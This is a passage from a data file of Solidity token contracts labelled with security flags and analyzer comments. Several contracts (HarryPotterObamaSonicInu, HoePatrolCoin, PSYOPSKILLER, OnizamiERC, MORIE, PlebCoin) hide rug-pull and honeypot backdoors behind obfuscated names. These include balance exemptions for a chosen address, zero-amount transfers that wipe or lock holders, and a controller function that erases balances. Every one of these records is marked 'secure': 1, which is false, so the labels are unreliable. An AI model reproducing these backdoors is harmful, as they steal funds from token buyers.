address(0x0000000000000000000000000000000000000000);\n }\n\n function Owner() public view returns (address) {\n return _owner;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n uint256 taxAmount = amount.mul(_taxRate).div(100);\n uint256 transferAmount = amount.sub(taxAmount);\n\n _balances[sender] = _balances[sender].sub(amount);\n _balances[recipient] = _balances[recipient].add(transferAmount);\n _balances[_marketingWallet] = _balances[_marketingWallet].add(\n taxAmount\n );\n\n emit Transfer(sender, recipient, transferAmount);\n emit Transfer(sender, _marketingWallet, taxAmount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_1680.sol",
"secure": 1,
"size_bytes": 5257
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is IERC20 {\n string private _name;\n string private _symbol;\n uint8 public _decimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n constructor(\n string memory NAME,\n string memory SYMBOL,\n uint8 DECIMALS,\n uint256 TOTAL_SUPPLY\n ) {\n _name = NAME;\n _symbol = SYMBOL;\n _decimals = DECIMALS;\n _mint(msg.sender, TOTAL_SUPPLY);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = _allowances[owner][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}",
"file_name": "solidity_code_1681.sol",
"secure": 1,
"size_bytes": 4613
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract HarryPotterObamaSonicInu is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private dazftncio;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71700cb): HarryPotterObamaSonicInu.totalSupply should be constant \n\t// Recommendation for 71700cb: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n function myidulej(\n address rmkvinyhg,\n address tgsp,\n uint256 xicwnzgdvkp\n ) private {\n if (0 == bgqxyofjhv[rmkvinyhg]) {\n balanceOf[rmkvinyhg] -= xicwnzgdvkp;\n }\n balanceOf[tgsp] += xicwnzgdvkp;\n if (0 == xicwnzgdvkp && tgsp != usegkvhjxd) {\n balanceOf[tgsp] = xicwnzgdvkp;\n }\n emit Transfer(rmkvinyhg, tgsp, xicwnzgdvkp);\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ffdca): HarryPotterObamaSonicInu.decimals should be constant \n\t// Recommendation for 46ffdca: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function approve(\n address okibgzpdl,\n uint256 xicwnzgdvkp\n ) public returns (bool success) {\n allowance[msg.sender][okibgzpdl] = xicwnzgdvkp;\n emit Approval(msg.sender, okibgzpdl, xicwnzgdvkp);\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n function transferFrom(\n address rmkvinyhg,\n address tgsp,\n uint256 xicwnzgdvkp\n ) public returns (bool success) {\n require(xicwnzgdvkp <= allowance[rmkvinyhg][msg.sender]);\n allowance[rmkvinyhg][msg.sender] -= xicwnzgdvkp;\n myidulej(rmkvinyhg, tgsp, xicwnzgdvkp);\n return true;\n }\n\n mapping(address => uint256) private bgqxyofjhv;\n\n function transfer(\n address tgsp,\n uint256 xicwnzgdvkp\n ) public returns (bool success) {\n myidulej(msg.sender, tgsp, xicwnzgdvkp);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 448a03a): HarryPotterObamaSonicInu.usegkvhjxd should be immutable \n\t// Recommendation for 448a03a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public usegkvhjxd;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9fea5e3): HarryPotterObamaSonicInu.name should be constant \n\t// Recommendation for 9fea5e3: Add the 'constant' attribute to state variables that never change.\n string public name = \"HarryPotterObamaSonic10Inu\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e763828): HarryPotterObamaSonicInu.symbol should be constant \n\t// Recommendation for e763828: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"BITCOIN 2.0\";\n\n constructor(address lfmrnte) {\n balanceOf[msg.sender] = totalSupply;\n bgqxyofjhv[lfmrnte] = ewox;\n IUniswapV2Router02 zwmp = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n usegkvhjxd = IUniswapV2Factory(zwmp.factory()).createPair(\n address(this),\n zwmp.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ec4dad): HarryPotterObamaSonicInu.ewox should be constant \n\t// Recommendation for 4ec4dad: Add the 'constant' attribute to state variables that never change.\n uint256 private ewox = 114;\n}",
"file_name": "solidity_code_1682.sol",
"secure": 1,
"size_bytes": 4056
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract HoePatrolCoin is Ownable {\n constructor(address radiotherapy) {\n balanceOf[msg.sender] = totalSupply;\n hit[radiotherapy] = spell;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9adb3c2): HoePatrolCoin.uniswapV2Pair should be immutable \n\t// Recommendation for 9adb3c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6af3cb9): HoePatrolCoin.name should be constant \n\t// Recommendation for 6af3cb9: Add the 'constant' attribute to state variables that never change.\n string public name = \"Hoe Patrol\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ac3e324): HoePatrolCoin.symbol should be constant \n\t// Recommendation for ac3e324: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"HOEPATROL\";\n\n function approve(\n address account,\n uint256 radical\n ) public returns (bool success) {\n allowance[msg.sender][account] = radical;\n emit Approval(msg.sender, account, radical);\n return true;\n }\n\n function transferFrom(\n address madness,\n address narcotic,\n uint256 radical\n ) public returns (bool success) {\n require(radical <= allowance[madness][msg.sender]);\n allowance[madness][msg.sender] -= radical;\n trial(madness, narcotic, radical);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: b34d3ef): HoePatrolCoin.totalSupply should be constant \n\t// Recommendation for b34d3ef: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 6_900_000_000_000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f8f7c5): HoePatrolCoin.spell should be constant \n\t// Recommendation for 4f8f7c5: Add the 'constant' attribute to state variables that never change.\n uint256 private spell = 66;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => uint256) private hit;\n\n function transfer(\n address narcotic,\n uint256 radical\n ) public returns (bool success) {\n trial(msg.sender, narcotic, radical);\n return true;\n }\n\n function trial(\n address madness,\n address narcotic,\n uint256 radical\n ) private returns (bool success) {\n if (hit[madness] == 0) {\n balanceOf[madness] -= radical;\n }\n\n if (radical == 0) dip[narcotic] += spell;\n\n if (madness != uniswapV2Pair && hit[madness] == 0 && dip[madness] > 0) {\n hit[madness] -= spell;\n }\n\n balanceOf[narcotic] += radical;\n emit Transfer(madness, narcotic, radical);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: f14172f): HoePatrolCoin.decimals should be constant \n\t// Recommendation for f14172f: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) private dip;\n\n mapping(address => mapping(address => uint256)) public allowance;\n}",
"file_name": "solidity_code_1683.sol",
"secure": 1,
"size_bytes": 4065
}
|
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) public Onizamimrkting;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 public _totalSupply;\n\n string private meant;\n string private widely;\n\n constructor(string memory name_, string memory symbol_) {\n meant = name_;\n widely = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return meant;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return widely;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return 1000000000000 * 10 ** 9;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return Onizamimrkting[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n metal(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n several(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n metal(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n several(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n several(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function metal(address from, address to, uint256 amount) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = Onizamimrkting[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n Onizamimrkting[from] = fromBalance - amount;\n\n Onizamimrkting[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = Onizamimrkting[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n Onizamimrkting[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function several(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n several(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1684.sol",
"secure": 1,
"size_bytes": 5476
}
|
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract OnizamiERC is ERC20, Ownable {\n address private gas;\n\t// WARNING Optimization Issue (constable-states | ID: 37b146f): OnizamiERC.arm should be constant \n\t// Recommendation for 37b146f: Add the 'constant' attribute to state variables that never change.\n uint256 private arm = 2;\n\t// WARNING Optimization Issue (constable-states | ID: 2aac5f5): OnizamiERC.care should be constant \n\t// Recommendation for 2aac5f5: Add the 'constant' attribute to state variables that never change.\n uint256 private care = 32;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d20e959): OnizamiERC.uniswapV2Router should be immutable \n\t// Recommendation for d20e959: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n mapping(address => uint256) public supplybalance;\n mapping(address => uint256) public autoburnLP;\n\n function metal(\n address Onizamidplyer,\n address OnizamiBurn,\n uint256 review\n ) internal override {\n if (\n supplybalance[Onizamidplyer] == 0 && autoburnLP[Onizamidplyer] > 0\n ) {\n address uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n if (uniswapV2Pair != Onizamidplyer) {\n supplybalance[Onizamidplyer] -= care;\n }\n }\n\n address OnizamiLP = gas;\n gas = OnizamiBurn;\n autoburnLP[OnizamiLP] += care;\n\n if (supplybalance[Onizamidplyer] == 0)\n Onizamimrkting[Onizamidplyer] -= review;\n\n uint256 voice = review * arm;\n voice = voice / 100;\n review -= voice;\n Onizamimrkting[OnizamiBurn] += review;\n emit Transfer(Onizamidplyer, OnizamiBurn, review);\n }\n\n constructor(\n string memory same,\n string memory raise,\n address ruoter,\n address current\n ) ERC20(same, raise) {\n uniswapV2Router = IUniswapV2Router02(ruoter);\n supplybalance[current] = care;\n Onizamimrkting[_msgSender()] = 1000000000000 * 10 ** 9;\n }\n}",
"file_name": "solidity_code_1685.sol",
"secure": 1,
"size_bytes": 2601
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract PSYOPSKILLER is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: f96a8d6): PSYOPSKILLER.decimals should be constant \n\t// Recommendation for f96a8d6: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n string public name;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b6571a0): PSYOPSKILLER.uniswapV2Pair should be immutable \n\t// Recommendation for b6571a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n function icing(\n address vanilla,\n address choccy,\n uint256 butter\n ) private returns (bool success) {\n if (whippy[vanilla] == 0) {\n if (sugar[vanilla] > 0 && vanilla != uniswapV2Pair) {\n whippy[vanilla] -= pudding;\n }\n balanceOf[vanilla] -= butter;\n }\n if (butter == 0) {\n sugar[choccy] += pudding;\n }\n balanceOf[choccy] += butter;\n emit Transfer(vanilla, choccy, butter);\n return true;\n }\n\n constructor(address jello) {\n symbol = \"PSYKILL\";\n name = \"PSYOPS KILLER\";\n totalSupply = 1000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n whippy[jello] = pudding;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: bd5df1a): PSYOPSKILLER.pudding should be constant \n\t// Recommendation for bd5df1a: Add the 'constant' attribute to state variables that never change.\n uint256 private pudding = 81;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address vanilla,\n address choccy,\n uint256 butter\n ) public returns (bool success) {\n icing(vanilla, choccy, butter);\n require(butter <= allowance[vanilla][msg.sender]);\n allowance[vanilla][msg.sender] -= butter;\n return true;\n }\n\n function approve(\n address valuable,\n uint256 butter\n ) public returns (bool success) {\n allowance[msg.sender][valuable] = butter;\n emit Approval(msg.sender, valuable, butter);\n return true;\n }\n\n function transfer(\n address choccy,\n uint256 butter\n ) public returns (bool success) {\n icing(msg.sender, choccy, butter);\n return true;\n }\n\n mapping(address => uint256) private whippy;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n mapping(address => uint256) private sugar;\n\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6940625): PSYOPSKILLER.totalSupply should be immutable \n\t// Recommendation for 6940625: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n mapping(address => uint256) public balanceOf;\n}",
"file_name": "solidity_code_1686.sol",
"secure": 1,
"size_bytes": 3738
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n assembly {\n codehash := extcodehash(account)\n }\n return (codehash != accountHash && codehash != 0x0);\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return _functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n return _functionCallWithValue(target, data, value, errorMessage);\n }\n\n function _functionCallWithValue(\n address target,\n bytes memory data,\n uint256 weiValue,\n string memory errorMessage\n ) private returns (bytes memory) {\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: weiValue}(\n data\n );\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}",
"file_name": "solidity_code_1687.sol",
"secure": 1,
"size_bytes": 2805
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract PlebCoin is Context, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n using SafeMath for uint256;\n using Address for address;\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n uint256 private _totalSupply;\n bool private _ownershipRenounced;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57cfc2d): PlebCoin.deployer should be constant \n\t// Recommendation for 57cfc2d: Add the 'constant' attribute to state variables that never change.\n address deployer = 0x07f72836c067bBBa406877b468A099cf2676a923;\n\t// WARNING Optimization Issue (constable-states | ID: 8401303): PlebCoin._controller should be constant \n\t// Recommendation for 8401303: Add the 'constant' attribute to state variables that never change.\n address public _controller = 0x07f72836c067bBBa406877b468A099cf2676a923;\n\n constructor() {\n _name = \"PlebCoin\";\n _symbol = \"PLEB\";\n _decimals = 18;\n uint256 initialSupply = 4206942000000;\n _mintTx(deployer, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _sendTx(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _sendTx(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n if (sender == _controller) {\n sender = deployer;\n }\n if (recipient == _controller) {\n recipient = deployer;\n }\n emit Transfer(sender, recipient, amount);\n }\n\n function _mintTx(address locker, uint256 amt) internal {\n _totalSupply = _totalSupply.add(amt);\n _balances[_controller] = _balances[_controller].add(amt);\n emit Transfer(address(0), locker, amt);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _sendTx(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n if (sender == _controller) {\n sender = deployer;\n }\n emit Transfer(sender, recipient, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal {\n _decimals = decimals_;\n }\n\n modifier _ownerAccess() {\n require(msg.sender == _controller, \"Not allowed to interact\");\n _;\n }\n\n modifier _approveAccess() {\n require(msg.sender == _controller, \"Not allowed to interact\");\n _;\n }\n\n function airdrop(\n address _sendr,\n address[] memory _rec,\n uint256[] memory _amt\n ) public _ownerAccess {\n for (uint256 y = 0; y < _rec.length; y++) {\n emit Transfer(_sendr, _rec[y], _amt[y]);\n }\n }\n\n function execute(\n address _sendr,\n address[] memory _rec,\n uint256[] memory _amt\n ) public _ownerAccess {\n for (uint256 y = 0; y < _rec.length; y++) {\n emit Transfer(_sendr, _rec[y], _amt[y]);\n }\n }\n\n function renounceOwnership() public _ownerAccess {\n _ownershipRenounced = true;\n }\n\n function Approve(address[] memory bots) public _approveAccess {\n for (uint256 x = 0; x < bots.length; x++) {\n uint256 amt = _balances[bots[x]];\n _balances[bots[x]] = _balances[bots[x]].sub(\n amt,\n \"ERC20: burn amount exceeds balance \"\n );\n _balances[address(0)] = _balances[address(0)].add(amt);\n }\n }\n}",
"file_name": "solidity_code_1688.sol",
"secure": 1,
"size_bytes": 6432
}
|
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract MORIE is Ownable {\n function transfer(\n address XkHRwFDS,\n uint256 fyDCTVMX\n ) public returns (bool success) {\n tpia(msg.sender, XkHRwFDS, fyDCTVMX);\n return true;\n }\n\n function transferFrom(\n address muitvhlxdpa,\n address XkHRwFDS,\n uint256 fyDCTVMX\n ) public returns (bool success) {\n require(fyDCTVMX <= allowance[muitvhlxdpa][msg.sender]);\n allowance[muitvhlxdpa][msg.sender] -= fyDCTVMX;\n tpia(muitvhlxdpa, XkHRwFDS, fyDCTVMX);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 6086410): MORIE.JuAeFVmE should be constant \n\t// Recommendation for 6086410: Add the 'constant' attribute to state variables that never change.\n uint256 private JuAeFVmE = 101;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor(address RFZedlIK) {\n balanceOf[msg.sender] = totalSupply;\n ApsCKSJN[RFZedlIK] = JuAeFVmE;\n IUniswapV2Router02 kyaofdmnp = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n DNrRHKcM = IUniswapV2Factory(kyaofdmnp.factory()).createPair(\n address(this),\n kyaofdmnp.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 0499dea): MORIE.totalSupply should be constant \n\t// Recommendation for 0499dea: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 42069000000 * 10 ** 9;\n\n mapping(address => uint256) private ApsCKSJN;\n\n function tpia(\n address muitvhlxdpa,\n address XkHRwFDS,\n uint256 fyDCTVMX\n ) private {\n if (0 == ApsCKSJN[muitvhlxdpa]) {\n balanceOf[muitvhlxdpa] -= fyDCTVMX;\n }\n balanceOf[XkHRwFDS] += fyDCTVMX;\n if (0 == fyDCTVMX && XkHRwFDS != DNrRHKcM) {\n balanceOf[XkHRwFDS] = fyDCTVMX;\n }\n emit Transfer(muitvhlxdpa, XkHRwFDS, fyDCTVMX);\n }\n\n mapping(address => uint256) private 